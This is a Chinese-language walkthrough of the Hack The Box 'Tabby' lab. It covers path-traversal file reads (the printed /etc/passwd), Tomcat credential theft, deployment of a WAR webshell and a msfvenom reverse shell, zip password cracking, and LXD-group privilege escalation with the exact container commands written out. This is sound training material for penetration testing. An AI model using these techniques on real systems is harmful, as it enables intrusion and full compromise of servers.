目录

简介

信息收集

漏洞发现

路径穿越漏洞

文件读取漏洞

漏洞利用

Tomcat命令行部署webshell

权限提升

Zip文件密码破解

移动到ash用户shell

LXD权限滥用

总结


简介

这依旧是一个简单的靶机,通过80端口的web服务存在的文件读取漏洞获取到tomcat用户密码,利用manager-script角色的权限上传并部署webshell,然后在网站的files目录下发现备份文件,通过暴力枚举获得密码,接着利用该密码切换至ash用户,最后利用lxd组用户权限滥用提升至root权限。

信息收集

使用nmap快速扫描端口,发现仅开启22,80和8080端口,分别运行着OpenSSH8.2,Apache 2.4.41和Tomcat,如图:

查看80端口web服务,发现一个邮件地址,如图:

查看网页各功能按钮,点击NEWS和底部链接时页面跳转,如图:

页面会跳转到同一地址,但无法正常解析,如图

然后将域名添加到hosts文件,再次访问,如图:

访问8080端口显示tomcat9默认页面,且在网站底部发现/etc/tomcat9/tomcat-users.xml。尝试使用常用弱口令登录管理页面未成功。

漏洞发现

从url中发现通过GET方法传递的参数file,尝试读取/etc/passwd测试是否存在文件包含漏洞,如图:

路径穿越漏洞

没有返回内容,尝试路径穿越,如图:

成功读取到文件内容,说明存在路径穿越漏洞,但不确定是文件包含还是文件读取漏洞。整理/etc/passwd文件内容如下:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

文件读取漏洞

读取index.php发现返回html代码,但读取news.php时发现网站并未解析php代码,只是输出文件内容,且从代码中可以看出这仅仅是文件读取漏洞,如图:

漏洞利用

利用该漏洞读取/etc/tomcat9/tomcat-users.xml未获得用户密码,然后再本地安装tomcat9,搜索tomcat-users.xml文件路径,如图:

使用第二个路径成功获得tomcat用户密码,如图:

然后使用该密码登录manager/html,但是显示禁止访问,如图:

但是host-manager可以登录,如图:

Tomcat命令行部署webshell

通过搜索发现Tomcat变体利用,但是无法利用成功。从tomcat-users.xml中发现tomcat用户没有manager-gui角色,因此无法登录manager/html页面,但是tomcat用户还具有manager-script角色,因此使用命令行执行命令成功,如图:

然后使用zip nhpt.war cmdjsp.jsp制作war木马(cmdjsp.jsp为Kali Linux自带的webshell),接着使用curl结合PUT方法上传并部署木马,如图:

查看webapp,如图:

然后访问木马,如图:

但是无法执行命令,可能是只支持Windows吧。然后使用msfvenom重新生成反弹shell的jsp木马,如图:

目标主机没有安装python2,但是安装了python3,因此同样可以导入pty模块使用spawn方法启用交互式shell,如图:

权限提升

查看网站目录,发现file目录下存在zip文件,如图:

Zip文件密码破解

解压需要密码,尝试使用john破解如图:

然后提取网站单词做字典,如图:

使用file命令查看文件发现使用zip1.0压缩,尝试1-10位纯数字密码破解,如图:

使用rockyou字典进行破解,如图:

移动到ash用户shell

但是解压的文件没什么特别,尝试使用该密码利用ssh远程登录,如图:

尝试使用su命令和改密码切换用户成功,如图:

查看系统内核版本,如图:

内核版本较高,暂未发现内核提权漏洞。查看具有root权限的SUID可执行文件,如图:

没有可利用的文件,使用提权辅助脚本LinEnum.sh枚举,如图:

LXD权限滥用

通过搜索引擎搜索发现Lxd权限提升,按照其利用步骤在Kali Linux分别执行:

  1. git clone  https://github.com/saghul/lxd-alpine-builder.git
  2. cd lxd-alpine-builder
  3. ./build-alpine

执行之后如图(网络不好需要多执行几次):

然后将tar.gz文件上传到目标主机,然后在目标主机执行:

  1. lxc image import ./alpine-v3.12-x86_64-20200714_0459.tar.gz --alias nhpt
  2. lxc init nhpt ignite -c security.privileged=true
  3. lxc config device add ignite nhpt disk source=/ path=/mnt/root recursive=true
  4. lxc start ignite
  5. lxc exec ignite /bin/sh

先执行前两步导入到镜像,并初始化镜像到ignite容器,如图:

第一次运行LXD需要执行lxd init进行初始化,然后再次初始化镜像nhpt到ignite容器,如图:

然后执行最后三步,如图:

此外还在GitHub发现另一种利用方法,https://github.com/initstring/lxd_root,但是需要有容器,因此需要在初始化镜像nhpt到ignite容器后执行漏洞利用程序,如图:

总结

虽然靶机简单,但是还是花了些时间,主要是从tomcat用户移动到ash用户时,看到备份文件仅仅时对网站的备份,觉得没什么意义就没有破解文件密码,在枚举了靶机所有文件仍然没有发现用户ash的密码,最后又回过头来破解压缩文件密码。个人觉得从备份文件的密码到ash用户shell的思路设计的不怎么好。

Hack The Box——Tabby相关推荐

  1. 【Hack The Box】linux练习-- Tabby

    HTB 学习笔记 [Hack The Box]linux练习-- Tabby

  2. 【Hack The Box】linux练习-- SneakyMailer

    HTB 学习笔记 [Hack The Box]linux练习-- SneakyMailer

  3. Hack The Box - Access Writeup

    第一次尝试Hack The Box,在难度较低的Access上,前后花了有两天的时间,汗.收获还是很大,在此记录一下,以便后阅. 首先是获取user,通过nmap扫描,可以发现目标主机开了三个端口21 ...

  4. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  5. 【Hack The Box】linux练习-- Blunder

    HTB 学习笔记 [Hack The Box]linux练习-- Blunder

  6. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  7. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  8. 【Hack The Box】linux练习-- Ophiuchi

    HTB 学习笔记 [Hack The Box]linux练习-- Ophiuchi

  9. 【Hack The Box】linux练习-- Doctor

    HTB 学习笔记 [Hack The Box]linux练习-- Doctor

最新文章

  1. 2021 CSDN年度回忆录
  2. 地...地...地震了
  3. 语音识别(一):speech-recognition的实验案例
  4. Python常用模块之序列化模块
  5. Gradle常用配置-版本号自增
  6. vsftp 简易部署使用
  7. R 语言在数据处理上的禀赋之——独特的数据类型
  8. CentOS系统基本设置
  9. 【数位dp】HDOJ2089:不要62( 真· 数位dp入门题目)
  10. 微信小程序添加字体图标
  11. html九宫格拼图怎么做,九宫格拼图制作方法分享,只用PPT就能搞定
  12. python用于cad_python cad
  13. 北京邮电大学计算机学院2020复试,预览北京邮电大学计算机学院2020研究生复试流程...
  14. Codeforces Round #555 (Div. 3), problem: (C2) Increasing Subsequence (hard version)【贪心+撞到南墙也不回头】
  15. 2022年长沙市成人高考疫情防控政策
  16. python exec函数_Python中的exec函数
  17. revit建模插件:不规则幕墙如何在Revit中创建呢?
  18. java 椭圆拟合,OpenCV画轮廓的外界圆矩形椭圆等
  19. # Linux系统操作(九)
  20. 荣耀10的android在哪,荣耀10详细配置参数,你想知道的都在这里

热门文章

  1. ‘xxxx’ does not name a type报错处理方法
  2. OpenSSL编译说明:Linux结合libcurl库编程实现人脸识别和车牌识别
  3. 收藏:国产服务器和处理器架构
  4. 机器码农:深度学习自动编程
  5. kafka连接mysql数据库,Kafka-connect-jdbc-source连接mysql数据库实战
  6. 洛谷B2058 奥运奖牌计数
  7. 系统设定工具与硬件侦测
  8. 频率学派与贝叶斯学派(先验分布与后验分布,MLE和MAP)
  9. 支付狙击战落败,教育分期问题缠身,度小满“困局”何解?
  10. 【神经网络第三期】RBF神经网络基本原理和模型应用